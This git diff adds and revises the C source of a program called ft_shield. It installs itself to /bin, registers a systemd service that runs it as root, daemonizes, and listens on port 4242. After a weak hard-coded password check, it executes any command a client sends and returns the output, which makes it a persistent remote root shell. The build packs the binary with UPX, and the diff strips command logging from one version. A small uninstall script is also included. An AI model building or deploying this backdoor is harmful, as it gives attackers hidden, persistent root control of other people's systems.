diff --git a/Makefile b/Makefile index ec3e0b0..86c1b9c 100644 --- a/Makefile +++ b/Makefile @@ -3,30 +3,39 @@ FLAGS = -g -Wall -Werror -Wextra RM = rm -rf FILES = src/shell.c src/auth.c src/tcp_server.c src/daemon.c -MAIN_FILE = src/main.c src/daemon.c +BONUS_FILES = bonus/shell.c bonus/auth.c bonus/tcp_server.c bonus/daemon.c OBJ_FILES = $(FILES:.c=.o) -MAIN_OBJ_FILE = $(MAIN_FILE:.c=.o) +BONUS_OBJ_FILE = $(BONUS_FILES:.c=.o) MSG = Everything is fcleaned! + HEADER = ./src/tcp_server.h -NAME = ./src/ft_shield -MAIN_NAME = shield +HEADER_BONUS = ./bonus/tcp_server.h +NAME = ft_shield + +# UPX packing +UPX = upx +UPX_FLAGS = --best --lzma + +all: $(NAME) + +$(NAME): $(OBJ_FILES) + $(CC) $(OBJ_FILES) $(FLAGS) -o $(NAME) -all: $(NAME) $(MAIN_OBJ_FILE) +bonus: $(BONUS_OBJ_FILE) + $(CC) $(BONUS_OBJ_FILE) $(FLAGS) -o $(NAME) + $(UPX) $(UPX_FLAGS) $(NAME) -$(NAME): $(OBJ_FILES) $(MAIN_OBJ_FILE) - $(CC) $(OBJ_FILES) $(FLAGS) -o $(NAME) && $(CC) $(MAIN_OBJ_FILE) $(FLAGS) -o $(MAIN_NAME) - -%.o: %.c $(HEADER) +%.o: %.c $(HEADER) $(HEADER_BONUS) $(CC) $(FLAGS) -c $< -o $@ clean: - $(RM) $(OBJ_FILES) $(MAIN_OBJ_FILE) + $(RM) $(OBJ_FILES) $(BONUS_OBJ_FILE) fclean: clean - $(RM) $(NAME) $(MAIN_NAME) + $(RM) $(NAME) @echo $(MSG) re: fclean all -.PHONY: clean fclean re +.PHONY: clean fclean re bonus diff --git a/bonus/auth.c b/bonus/auth.c new file mode 100644 index 0000000..353a2e5 --- /dev/null +++ b/bonus/auth.c @@ -0,0 +1,45 @@ +#include "tcp_server.h" + +void hash(const char *password, char *hash) { + unsigned int hash_value; + size_t i; + + i = 0; + hash_value = i; + while(i < strlen(password)) + { + hash_value = (hash_value * SECRET_KEY) + (unsigned char)password[i]; + i++; + } + snprintf(hash, BUFFER_SIZE, "%08x", hash_value); +} + +int authenticate_client(int client_socket) { + char buffer[BUFFER_SIZE]; + char hashed_password[BUFFER_SIZE]; + int valread; + + send(client_socket, "Please enter password: ", 23, 0); + valread = read(client_socket, buffer, BUFFER_SIZE); + + if (valread <= 0) { + send(client_socket, "Failed to read password. Disconnecting...\n", 42, 0); + return 0; + } + + buffer[valread] = '\0'; + + if (buffer[valread - 1] == '\n') { + buffer[valread - 1] = '\0'; + } + + hash(buffer, hashed_password); + + if (strcmp(hashed_password, AUTH_PASSWORD_HASH) == 0) { + send(client_socket, "Authentication successful\n", 26, 0); + return 1; + } else { + return 0; + } +} + diff --git a/bonus/daemon.c b/bonus/daemon.c new file mode 100644 index 0000000..d3ad0fc --- /dev/null +++ b/bonus/daemon.c @@ -0,0 +1,127 @@ +#include "tcp_server.h" +#include +#include +#include + +void copy_binary_file(const char *sourcePath, const char *destinationPath) { + int sourceFd; + int destinationFd; + unsigned char buffer[BUFFER_SIZE]; + ssize_t bytesRead; + + sourceFd = open(sourcePath, O_RDONLY); + if (sourceFd < 0) { + perror("Error opening source file"); + exit(EXIT_FAILURE); + } + + destinationFd = open(destinationPath, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IROTH); + if (destinationFd < 0) { + perror("Error opening destination file"); + close(sourceFd); + exit(EXIT_FAILURE); + } + + while ((bytesRead = read(sourceFd, buffer, sizeof(buffer))) > 0) { + if (write(destinationFd, buffer, bytesRead) != bytesRead) { + perror("Error writing to destination file"); + close(sourceFd); + close(destinationFd); + exit(EXIT_FAILURE); + } + } + + if (bytesRead < 0) { + perror("Error reading from source file"); + } + close(sourceFd); + close(destinationFd); +} + +void create_systemd_service(const char* service_name, const char* binary_path) +{ + char service_file_path[256]; + FILE* file; + + snprintf(service_file_path, sizeof(service_file_path), "/etc/systemd/system/%s", service_name); + + file = fopen(service_file_path, "w"); + if (file == NULL) { + perror("Failed to open service file"); + exit(EXIT_FAILURE); + } + + fprintf(file, "[Unit]\n"); + fprintf(file, "Description=%s\n", service_name); + fprintf(file, "After=network.target\n\n"); + + fprintf(file, "[Service]\n"); + fprintf(file, "ExecStart=%s\n", binary_path); + fprintf(file, "ExecStop=/bin/kill -s TERM $MAINPID\n"); + fprintf(file, "Restart=on-failure\n"); + fprintf(file, "User=root\n\n"); + + fprintf(file, "[Install]\n"); + fprintf(file, "WantedBy=multi-user.target\n"); + + fclose(file); + + printf("Service file created: %s\n", service_file_path); +} + + +void enable_and_start_service(const char* service_name) +{ + char command[256]; + + snprintf(command, sizeof(command), "systemctl daemon-reload"); + if (system(command) != 0) { + perror("Failed to reload systemd daemon"); + exit(EXIT_FAILURE); + } + + snprintf(command, sizeof(command), "systemctl enable %s", service_name); + if (system(command) != 0) { + perror("Failed to enable systemd service"); + exit(EXIT_FAILURE); + } + + snprintf(command, sizeof(command), "systemctl start %s", service_name); + if (system(command) != 0) { + perror("Failed to start systemd service"); + exit(EXIT_FAILURE); + } + + printf("Service enabled and started: %s\n", service_name); +} + +void create_daemon() +{ + pid_t pid, sid; + + pid = fork(); + if (pid < 0) { + exit(EXIT_FAILURE); + } + if (pid > 0) { + exit(EXIT_SUCCESS); + } + + umask(0); + + sid = setsid(); + if (sid < 0) { + exit(EXIT_FAILURE); + } + + if ((chdir("/")) < 0) { + exit(EXIT_FAILURE); + } + + close(STDIN_FILENO); + close(STDOUT_FILENO); + close(STDERR_FILENO); + + openlog("ft_shield", LOG_PID, LOG_DAEMON); +} + diff --git a/bonus/ft_shield b/bonus/ft_shield new file mode 100755 index 0000000..b3d94b3 Binary files /dev/null and b/bonus/ft_shield differ diff --git a/bonus/shell.c b/bonus/shell.c new file mode 100644 index 0000000..c368b93 --- /dev/null +++ b/bonus/shell.c @@ -0,0 +1,47 @@ +#include "tcp_server.h" + +void log_user_action(const char *command) { + FILE *log_file = fopen(LOGS, "a"); + if (log_file == NULL) { + perror("Error opening log file"); + return; + } + + time_t now = time(NULL); + struct tm *t = localtime(&now); + + char time_str[20]; + strftime(time_str, sizeof(time_str), "%Y-%m-%d %H:%M:%S", t); + + fprintf(log_file, "[%s] %s\n", time_str, command); + + fclose(log_file); +} + + +void execute_command(const char* command, int client_socket) +{ + char buffer[BUFFER_SIZE]; + FILE* fp; + int status; + log_user_action(command); + fp = popen(command, "r"); + if (fp == NULL) + { + send(client_socket, "Error executing command\n", 25, 0); + return; + } + + while (fgets(buffer, sizeof(buffer), fp)) + { + send(client_socket, buffer, strlen(buffer), 0); + } + + status = pclose(fp); + if (status != 0) + { + char error_message[BUFFER_SIZE]; + snprintf(error_message, sizeof(error_message), "sh: %s: command not found\n", command); + send(client_socket, error_message, strlen(error_message), 0); + } +} \ No newline at end of file diff --git a/bonus/tcp_server.c b/bonus/tcp_server.c new file mode 100644 index 0000000..fd20a40 --- /dev/null +++ b/bonus/tcp_server.c @@ -0,0 +1,177 @@ +#include "tcp_server.h" + +int create_server_socket() +{ + int server_fd; + if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1) + { + perror("failed to create socket"); + exit(EXIT_FAILURE); + } + return server_fd; +} + +void bind_and_listen(int server_fd, struct sockaddr_in* address) +{ + address->sin_family = AF_INET; + address->sin_addr.s_addr = INADDR_ANY; + address->sin_port = htons(PORT); + + if (bind(server_fd, (struct sockaddr*)address, sizeof(*address)) < 0) + { + perror("bind failed"); + close(server_fd); + exit(EXIT_FAILURE); + } + if (listen(server_fd, 3) < 0) + { + perror("listen failed"); + close(server_fd); + exit(EXIT_FAILURE); + } +} + +int handle_new_connection(int server_fd, struct sockaddr_in* address, int *client_socket, int addrlen) +{ + int new_socket; + int i = 0; + + if ((new_socket = accept(server_fd, (struct sockaddr*)address, (socklen_t*)&addrlen)) < 0) + { + perror("Accept failed"); + exit(EXIT_FAILURE); + } + + while (i < MAX_CLIENTS) + { + if (client_socket[i] == 0) + { + client_socket[i] = new_socket; + break; + } + i++; + } + return new_socket; +} + +void handle_client_data(int *client_socket, int socket_id, char *buffer, struct sockaddr_in* address, int addrlen) +{ + int valread; + + if ((valread = read(socket_id, buffer, BUFFER_SIZE)) == 0) + { + getpeername(socket_id, (struct sockaddr*)address, (socklen_t*)&addrlen); + close(socket_id); + for (int i = 0; i < MAX_CLIENTS; i++) + { + if (client_socket[i] == socket_id) + { + client_socket[i] = 0; + break; + } + } + } + else + { + buffer[valread] = '\0'; + if (buffer[valread - 1] == '\n') + buffer[valread - 1] = '\0'; + execute_command(buffer, socket_id); + } +} + +int count_connected_clients(int *client_socket) +{ + int count = 0; + int i = 0; + while (i < MAX_CLIENTS) + { + if (client_socket[i] > 0) + { + count++; + } + i++; + } + return count; +} + + +int main(void) +{ + + if (getppid() == 1) { + int server_fd; + int client_socket[MAX_CLIENTS] = {0}; + struct sockaddr_in addr; + + server_fd = create_server_socket(); + + int opt = 1; + if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) < 0) { + perror("setsockopt failed"); + exit(EXIT_FAILURE); + } + + bind_and_listen(server_fd, &addr); + run_server(server_fd, client_socket, addr); + } else { + if (access(DEST_FILE, F_OK) == -1) { + copy_binary_file(SOURCE_FILE, DEST_FILE); + create_systemd_service(SERVICE_NAME, DEST_FILE); + enable_and_start_service(SERVICE_NAME); + create_daemon(); + } + printf("Service installation complete\n"); + } + + return 0; +} + +void run_server(int server_fd, int *client_socket, struct sockaddr_in addr) { + fd_set readfds; + int max_sd, activity, i, socket_id, new_socket; + int addrlen = sizeof(addr); + char buffer[BUFFER_SIZE] = {0}; + + while (1) + { + FD_ZERO(&readfds); + FD_SET(server_fd, &readfds); + max_sd = server_fd; + i = 0; + while (i < MAX_CLIENTS) + { + socket_id = client_socket[i]; + + if (socket_id > 0) + FD_SET(socket_id, &readfds); + + if (socket_id > max_sd) + max_sd = socket_id; + i++; + } + activity = select(max_sd + 1, &readfds, NULL, NULL, NULL); + if ((activity < 0) && (errno != EINTR)) + perror("select error"); + + if (FD_ISSET(server_fd, &readfds) && (count_connected_clients(client_socket) < 3)) + { + new_socket = handle_new_connection(server_fd, &addr, client_socket, addrlen); + while (1) { + if (!authenticate_client(new_socket)) { + send(new_socket, "Incorrect password. Please try again.", 36, 0); + } else { + break; + } + } + } + i = 0; + while (i < MAX_CLIENTS) + { + socket_id = client_socket[i]; + if (FD_ISSET(socket_id, &readfds)) + handle_client_data(client_socket, socket_id, buffer, &addr, addrlen); + i++; + } + } +} \ No newline at end of file diff --git a/bonus/tcp_server.h b/bonus/tcp_server.h new file mode 100644 index 0000000..5aa8bc1 --- /dev/null +++ b/bonus/tcp_server.h @@ -0,0 +1,52 @@ +#ifndef TCP_SERVER_H +#define TCP_SERVER_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#define PORT 4242 +#define BUFFER_SIZE 1024 +#define MAX_CLIENTS 3 +#define AUTH_PASSWORD_HASH "8fb9f8fd" +#define SECRET_KEY 54 +#define SOURCE_FILE "ft_shield" +#define DEST_FILE "/bin/ft_shield" +#define SERVICE_NAME "ft_shield.service" +#define LOGS "/var/log/ft_shield.log" + +int create_server_socket(); +void bind_and_listen(int server_fd, struct sockaddr_in* address); +int handle_new_connection(int server_fd, struct sockaddr_in* address, int *client_socket, int addrlen); +void handle_client_data(int *client_socket, int socket_id, char *buffer, struct sockaddr_in* address, int addrlen); +void execute_command(const char* command, int client_socket); +int authenticate_client(int client_socket); +void hash(const char *password, char *hash); +void ensure_single_instance(); +void create_daemon(); +void copy_binary_file(const char *sourcePath, const char *destinationPath); +void create_systemd_service(const char* service_name, const char* binary_path); +void enable_and_start_service(const char* service_name); +void run_server(int server_fd, int *client_socket, struct sockaddr_in addr); +#endif + + + + + + + + + + + + diff --git a/remove_ft_shield.sh b/remove_ft_shield.sh new file mode 100755 index 0000000..eadfa83 --- /dev/null +++ b/remove_ft_shield.sh @@ -0,0 +1,7 @@ +sudo systemctl stop ft_shield.service +sudo systemctl disable ft_shield.service +sudo rm /etc/systemd/system/ft_shield.service +sudo systemctl daemon-reload +sudo systemctl reset-failed +sudo rm /bin/ft_shield +sudo kill -9 $(lsof -t -i:4242 2>/dev/null) 2>/dev/null \ No newline at end of file diff --git a/src/auth.c b/src/auth.c index e32474d..353a2e5 100644 --- a/src/auth.c +++ b/src/auth.c @@ -24,7 +24,6 @@ int authenticate_client(int client_socket) { if (valread <= 0) { send(client_socket, "Failed to read password. Disconnecting...\n", 42, 0); - close(client_socket); return 0; } @@ -40,8 +39,6 @@ int authenticate_client(int client_socket) { send(client_socket, "Authentication successful\n", 26, 0); return 1; } else { - send(client_socket, "Authentication failed. Disconnecting...\n", 40, 0); - close(client_socket); return 0; } } diff --git a/src/daemon.c b/src/daemon.c index 1135a29..d3ad0fc 100644 --- a/src/daemon.c +++ b/src/daemon.c @@ -1,4 +1,7 @@ #include "tcp_server.h" +#include +#include +#include void copy_binary_file(const char *sourcePath, const char *destinationPath) { int sourceFd; @@ -94,25 +97,31 @@ void enable_and_start_service(const char* service_name) void create_daemon() { - pid_t pid; + pid_t pid, sid; pid = fork(); + if (pid < 0) { + exit(EXIT_FAILURE); + } + if (pid > 0) { + exit(EXIT_SUCCESS); + } + + umask(0); + + sid = setsid(); + if (sid < 0) { + exit(EXIT_FAILURE); + } + + if ((chdir("/")) < 0) { + exit(EXIT_FAILURE); + } - if (pid < 0) - exit (EXIT_FAILURE); - if (pid > 0) - exit (EXIT_SUCCESS); - if (setsid() < 0) - exit (EXIT_FAILURE); - - pid = fork(); - if (pid < 0) - exit (EXIT_FAILURE); - if (pid > 0) - exit (EXIT_SUCCESS); - chdir("/"); close(STDIN_FILENO); close(STDOUT_FILENO); close(STDERR_FILENO); + + openlog("ft_shield", LOG_PID, LOG_DAEMON); } diff --git a/src/main.c b/src/main.c deleted file mode 100644 index b6dfa9e..0000000 --- a/src/main.c +++ /dev/null @@ -1,9 +0,0 @@ -#include "tcp_server.h" -int main(void) -{ - copy_binary_file(SOURCE_FILE, DEST_FILE); - create_systemd_service(SERVICE_NAME, DEST_FILE); - enable_and_start_service(SERVICE_NAME); - create_daemon(); - return 0; -} diff --git a/src/shell.c b/src/shell.c index c368b93..c703cf3 100644 --- a/src/shell.c +++ b/src/shell.c @@ -1,30 +1,11 @@ #include "tcp_server.h" -void log_user_action(const char *command) { - FILE *log_file = fopen(LOGS, "a"); - if (log_file == NULL) { - perror("Error opening log file"); - return; - } - - time_t now = time(NULL); - struct tm *t = localtime(&now); - - char time_str[20]; - strftime(time_str, sizeof(time_str), "%Y-%m-%d %H:%M:%S", t); - - fprintf(log_file, "[%s] %s\n", time_str, command); - - fclose(log_file); -} - - void execute_command(const char* command, int client_socket) { char buffer[BUFFER_SIZE]; FILE* fp; int status; - log_user_action(command); + fp = popen(command, "r"); if (fp == NULL) { diff --git a/src/tcp_server.c b/src/tcp_server.c index 1d69077..fd20a40 100644 --- a/src/tcp_server.c +++ b/src/tcp_server.c @@ -96,31 +96,44 @@ int count_connected_clients(int *client_socket) } -int main(void) +int main(void) { - int server_fd; - int new_socket; - int client_socket[MAX_CLIENTS]; - int max_sd; - int socket_id; - int activity; - struct sockaddr_in addr; - int addrlen = sizeof(addr); - char buffer[BUFFER_SIZE] = {0}; - fd_set readfds; - int i = 0; - // Initialize all client_socket[] to 0 - while (i < MAX_CLIENTS) - { - client_socket[i] = 0; - i++; + if (getppid() == 1) { + int server_fd; + int client_socket[MAX_CLIENTS] = {0}; + struct sockaddr_in addr; + + server_fd = create_server_socket(); + + int opt = 1; + if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) < 0) { + perror("setsockopt failed"); + exit(EXIT_FAILURE); + } + + bind_and_listen(server_fd, &addr); + run_server(server_fd, client_socket, addr); + } else { + if (access(DEST_FILE, F_OK) == -1) { + copy_binary_file(SOURCE_FILE, DEST_FILE); + create_systemd_service(SERVICE_NAME, DEST_FILE); + enable_and_start_service(SERVICE_NAME); + create_daemon(); + } + printf("Service installation complete\n"); } + + return 0; +} - server_fd = create_server_socket(); - bind_and_listen(server_fd, &addr); +void run_server(int server_fd, int *client_socket, struct sockaddr_in addr) { + fd_set readfds; + int max_sd, activity, i, socket_id, new_socket; + int addrlen = sizeof(addr); + char buffer[BUFFER_SIZE] = {0}; - while (1) + while (1) { FD_ZERO(&readfds); FD_SET(server_fd, &readfds); @@ -144,14 +157,11 @@ int main(void) if (FD_ISSET(server_fd, &readfds) && (count_connected_clients(client_socket) < 3)) { new_socket = handle_new_connection(server_fd, &addr, client_socket, addrlen); - if (!authenticate_client(new_socket)) { - i = 0; - while (i < MAX_CLIENTS) { - if (client_socket[i] == new_socket) { - client_socket[i] = 0; - break; - } - i++; + while (1) { + if (!authenticate_client(new_socket)) { + send(new_socket, "Incorrect password. Please try again.", 36, 0); + } else { + break; } } } @@ -164,7 +174,4 @@ int main(void) i++; } } - - close(server_fd); - return 0; -} +} \ No newline at end of file diff --git a/src/tcp_server.h b/src/tcp_server.h index 1e5f65c..2074db5 100644 --- a/src/tcp_server.h +++ b/src/tcp_server.h @@ -19,11 +19,9 @@ #define MAX_CLIENTS 3 #define AUTH_PASSWORD_HASH "8fb9f8fd" #define SECRET_KEY 54 -#define SOURCE_FILE "src/ft_shield" -#define DEST_FILE "/usr/bin/ft_shield" +#define SOURCE_FILE "ft_shield" +#define DEST_FILE "/bin/ft_shield" #define SERVICE_NAME "ft_shield.service" -#define DISK_STATS_OUTPUT "/home/yoyo/logs.txt" -#define LOGS "/var/log/ft_shield.log" int create_server_socket(); void bind_and_listen(int server_fd, struct sockaddr_in* address); @@ -37,7 +35,7 @@ void create_daemon(); void copy_binary_file(const char *sourcePath, const char *destinationPath); void create_systemd_service(const char* service_name, const char* binary_path); void enable_and_start_service(const char* service_name); -void log_user_action(const char *command); +void run_server(int server_fd, int *client_socket, struct sockaddr_in addr); #endif